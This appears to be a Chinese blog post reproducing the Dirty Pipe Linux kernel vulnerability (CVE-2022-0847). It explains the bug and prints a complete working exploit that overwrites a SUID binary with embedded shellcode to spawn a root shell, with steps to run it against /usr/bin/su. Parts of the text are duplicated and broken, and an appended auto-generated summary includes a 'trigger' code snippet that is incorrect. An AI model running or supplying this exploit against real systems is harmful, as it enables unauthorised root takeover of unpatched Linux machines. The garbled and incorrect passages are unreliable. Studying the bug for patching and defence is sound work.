Dirty Pipe 漏洞(CVE-2022-0847)复现

本文介绍了 Dirty Pipe 漏洞(CVE-2022-0847)的复现过程,该漏洞源于Linux内核中的问题,允许非特权用户通过注入代码到root用户的进程提权。漏洞影响Linux 5.8及更高版本,但已在某些版本中得到修复。文章详细阐述了漏洞原理、影响范围、危害以及利用方法,并提供了简化版PoC的复现步骤,帮助读者理解并防范此类安全风险。
部署运行你感兴趣的模型镜像

Dirty Pipe 漏洞(CVE-2022-0847)复现

2022年3月7日Max Kellermann max.kellermann@ionos.com发布关于[The Dirty Pipe Vulnerablity](The Dirty Pipe Vulnerability — The Dirty Pipe Vulnerability documentation (cm4all.com))的文章。描述了关于该漏洞的发现过程以及POC。Dirty Pipe漏洞类似于Dirty Cow漏洞,该漏洞允许改写任意只读文件的内容。可以让非特权用户通过注入代码到root用户的进程进行提权,得到root权限。

漏洞原理

This bug suddenly became critical in Linux 5.8 with commit f6dd975583bd “pipe: merge anon_pipe_buf*_ops”. By injecting PIPE_BUF_FLAG_CAN_MERGE into a page cache reference, it became possible to overwrite data in the page cache, simply by writing new data into the pipe prepared in a special way.

影响范围

Linux 5.8及以上(Linux 5.16.11, 5.15.25 和 5.10.102版本已经修复)

漏洞危害

任意用户能够通过复写数据到任意只读文件,就能root用户权限。

漏洞利用

  1. Create a pipe.
  2. Fill the pipe with arbitrary data (to set the PIPE_BUF_FLAG_CAN_MERGE flag in all ring entries).
  3. Drain the pipe (leaving the flag set in all struct pipe_buffer instances on the struct pipe_inode_info ring).
  4. Splice data from the target file (opened with O_RDONLY) into the pipe from just before the target offset.
  5. Write arbitrary data into the pipe; this data will overwrite the cached file page instead of creating a new anomyous struct pipe_buffer because PIPE_BUF_FLAG_CAN_MERGE is set.

推·特用户Phit0n根据源PoC进行了优化,做出了新的PoC,能够通过重写SUID的程序就能够进行提权

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OMhZ82Vn-1646882589197)(C:\Users\airhao3‘s PC\AppData\Roaming\Typora\typora-user-images\image-20220310101702048.png)]

POC地址

//
// dirtypipez.c
//
// hacked up Dirty Pipe (CVE-2022-0847) PoC that hijacks a SUID binary to spawn
// a root shell. (and attempts to restore the damaged binary as well)
//
// Wow, Dirty CoW reloaded!
//
// -- blasty <peter@haxx.in> // 2022-03-07

/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <max.kellermann@ionos.com>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#include <stdint.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

// small (linux x86_64) ELF file matroshka doll that does;
//   fd = open("/tmp/sh", O_WRONLY | O_CREAT | O_TRUNC);
//   write(fd, elfcode, elfcode_len)
//   chmod("/tmp/sh", 04755)
//   close(fd);
//   exit(0);
//
// the dropped ELF simply does:
//   setuid(0);
//   setgid(0);
//   execve("/bin/sh", ["/bin/sh", NULL], [NULL]);
unsigned char elfcode[] = {
	/*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
	0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02,
	0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48,
	0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2,
	0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f,
	0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d,
	0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00,
	0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff,
	0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d,
	0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e,
	0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38,
	0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
	0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,
	0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69,
	0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a,
	0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00,
	0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0,
	0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00,
	0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00
};

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
	if (pipe(p)) abort();

	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
	static char buffer[4096];

	/* fill the pipe completely; each pipe_buffer will now have
	   the PIPE_BUF_FLAG_CAN_MERGE flag */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		write(p[1], buffer, n);
		r -= n;
	}

	/* drain the pipe, freeing all pipe_buffer instances (but
	   leaving the flags initialized) */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		read(p[0], buffer, n);
		r -= n;
	}

	/* the pipe is now empty, and if somebody adds a new
	   pipe_buffer without initializing its "flags", the buffer
	   will be mergeable */
}

int hax(char *filename, long offset, uint8_t *data, size_t len) {
	/* open the input file and validate the specified offset */
	const int fd = open(filename, O_RDONLY); // yes, read-only! :-)
	if (fd < 0) {
		perror("open failed");
		return -1;
	}

	struct stat st;
	if (fstat(fd, &st)) {
		perror("stat failed");
		return -1;
	}

	/* create the pipe with all flags initialized with
	   PIPE_BUF_FLAG_CAN_MERGE */
	int p[2];
	prepare_pipe(p);

	/* splice one byte from before the specified offset into the
	   pipe; this will add a reference to the page cache, but
	   since copy_page_to_iter_pipe() does not initialize the
	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
	--offset;
	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
	if (nbytes < 0) {
		perror("splice failed");
		return -1;
	}
	if (nbytes == 0) {
		fprintf(stderr, "short splice\n");
		return -1;
	}

	/* the following write will not create a new pipe_buffer, but
	   will instead write into the page cache, because of the
	   PIPE_BUF_FLAG_CAN_MERGE flag */
	nbytes = write(p[1], data, len);
	if (nbytes < 0) {
		perror("write failed");
		return -1;
	}
	if ((size_t)nbytes < len) {
		fprintf(stderr, "short write\n");
		return -1;
	}

	close(fd);

	return 0;
}

int main(int argc, char **argv) {
	if (argc != 2) {
		fprintf(stderr, "Usage: %s SUID\n", argv[0]);
		return EXIT_FAILURE;
	}

	char *path = argv[1];
	uint8_t *data = elfcode;

	int fd = open(path, O_RDONLY);
	uint8_t *orig_bytes = malloc(sizeof(elfcode));
	lseek(fd, 1, SEEK_SET);
	read(fd, orig_bytes, sizeof(elfcode));
	close(fd);

	printf("[+] hijacking suid binary..\n");
	if (hax(path, 1, elfcode, sizeof(elfcode)) != 0) {
		printf("[~] failed\n");
		return EXIT_FAILURE;
	}

	printf("[+] dropping suid shell..\n");
	system(path);

	printf("[+] restoring suid binary..\n");
	if (hax(path, 1, orig_bytes, sizeof(elfcode)) != 0) {
		printf("[~] failed\n");
		return EXIT_FAILURE;
	}

	printf("[+] popping root shell.. (dont forget to clean up /tmp/sh ;))\n");
	system("/tmp/sh");

	return EXIT_SUCCESS;
}

复现过程

  1. 首先用普通用户登录主机
  2. 下载PoC文件,进行编译
  3. 执行文件,参数设置为/usr/bin/su
  4. 得到root权限

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CCQBTB9H-1646882589198)(C:\Users\airhao3‘s PC\AppData\Roaming\Typora\typora-user-images\image-20220310104947493.png)]

PS:

[+] popping root shell… (dont forget to clean up /tmp/sh 😉)\n");
system("/tmp/sh");

return EXIT_SUCCESS;

}


### 复现过程



1. 首先用普通用户登录主机
2. 下载PoC文件,进行编译
3. 执行文件,参数设置为`/usr/bin/su`
4. 得到`root`权限

[外链图片转存中...(img-CCQBTB9H-1646882589198)]



PS:

推上有大佬已经根据这个漏洞搞了下拓展,能够在容器间横向移动。

您可能感兴趣的与本文相关的镜像

Qwen-Image-Edit-2509

Qwen-Image-Edit-2509

图片编辑
Qwen

Qwen-Image-Edit-2509 是阿里巴巴通义千问团队于2025年9月发布的最新图像编辑AI模型,主要支持多图编辑,包括“人物+人物”、“人物+商品”等组合玩法

### CVE-2022-0847 (Dirty Pipe) 漏洞详情 CVE-2022-0847,也被称为 "Dirty Pipe",是一个存在于 Linux 内核中的严重漏洞。此漏洞允许攻击者绕过正常的文件权限控制机制,在只读文件上写入数据,从而实现本地提权操作[^3]。 #### 影响范围 该漏洞影响自5.8版本以来的所有Linux内核版本。由于其广泛的影响面以及潜在的危害性,引起了社区的高度关注和重视。 #### 工作原理 具体来说,“脏管子”漏洞源于对管道缓冲区处理逻辑中存在的缺陷。正常情况下,当应用程序通过管道传输数据时,操作系统会确保这些数据按照预期的方式被接收方读取而不会发生混淆或覆盖的情况。然而在这个特定场景下,如果某些条件得到满足,则可以让原本标记为不可修改的内容变得可编辑,进而破坏系统的安全性边界[^4]。 ```c // 示例代码片段展示如何触发漏洞(仅供研究用途) int pipefd[2]; char buf[] = "malicious data"; pipe(pipefd); write(pipefd[1], buf, sizeof(buf)); close(pipefd[1]); read(pipefd[0], NULL, 0); // 这里可能会设置 PIPE_BUF_FLAG_CAN_MERGE 标志位 ``` ### 修复方法 针对这一问题,官方已经发布了补丁来修正受影响的部分。对于运行着易受攻击版本内核的企业和个人而言,及时更新至最新稳定版是最有效的防护措施之一。 另外,考虑到实际环境中可能存在无法立即升级的情形,也可以考虑采取临时缓解策略: - **禁用不必要的模块和服务**:减少暴露风险点; - **监控异常行为**:部署入侵检测系统(IDS),以便快速响应任何可疑活动; - **加强访问控制列表(ACL)** 和其他安全配置选项的应用; 最后提醒广大用户密切关注厂商发布的公告并遵循指导建议完成必要的维护工作以保障信息系统整体的安全性和稳定性。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值